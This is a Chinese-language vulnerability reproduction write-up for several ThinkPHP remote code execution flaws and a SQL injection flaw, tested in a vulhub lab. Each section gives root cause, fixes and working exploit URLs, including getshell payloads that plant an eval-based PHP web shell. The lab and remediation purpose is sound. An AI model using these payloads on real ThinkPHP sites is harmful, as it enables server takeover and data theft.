简介
??ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 ??ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
版本
Thinkphp 2.x 任意代码执行漏洞
漏洞原理
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
explode函数 是把通过/ 把url参数拆开,然后再用implode函数 通过\/ 拼接起来,然后带入preg_replace函数 里面。preg_replace函数 的/e模式,和php双引号都能能解析变量,代码执行。
正则表达式:'@(\w+)'.\$depr.'([^'.$depr.'\/]+)@e'
简化后是
正则表达式是:/(\w+)\/([^\/\/]+)/e
\w+表示匹配任意长的`[字母数字下划线]`字符串,然后匹配 `/ `符号,再匹配除了` / `符号以外的字符,匹配连续的两个参数。
$var[\'\\1\']="\\2";
\\1是取匹配正则的字符串的第一个匹配结果,\\2是取第二个匹配结果。
一个被当成键名,一个被当成键值,传进了var数组里面。
举例说明:
URL:www.baidu.com/index.php?s=1/2/3/4 每次匹配1和2 、 3和4 、 5和6。 然后,也就是\\1 取的是 1 3 5,\\2 取的是 2 4 6。 那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。而双引号是存在在 \2 外面的,那么就说明我们要控制的是偶数位的参数。
复现过程
环境:vulhub
docker-compose up //一键启动
访问环境: POC:http://192.168.255.128:8080/index.php?s=1/2/3/${phpinfo()}
getshell payload: http://192.168.255.128:8080/index.php?s=1/2/3/${@print(eval($_POST[1]))} 上蚁剑:
修复意见
1、下载官方补丁 http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838 2、修改/ThinkPHP/Lib/Core/Dispatcher.class.php文件 将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行;
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var[\'\\1\']='\\2';', implode($depr,$paths));
Thinkphp5-5.0.22/5.1.29远程执行代码漏洞
漏洞原理
ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。 详细分析:ThinkPHP5 远程代码执行漏洞分析
影响范围
ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31
复现过程
环境:vulhub 访问地址: POC: http://192.168.255.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 任意代码执行:http://192.168.255.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami getshell:http://192.168.255.128:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php eval($_POST[1]);?> 上蚁剑:
修复意见
1、将版本升至5.0.23及以上;5.1.31及以上。
5.0版本在think\App类的module方法的获取控制器的代码后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
5.1版本在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
Thinkphp5.0.23远程代码执行漏洞
漏洞原理
Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响范围
Thinkphp 5.0.0~ 5.0.23
复现过程
环境:vulhub 访问地址: POC:
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
Burp抓包,改包。
修复意见
1、升级代码到最新版本5.0.24及以上;
Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞
漏洞原理
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响范围
ThinkPHP < 5.1.23
复现过程
环境:vulhub 访问地址,环境成功运行: POC:http://192.168.255.128:8080/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
修复意见
1、在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号。 2、升级版本至最新。
|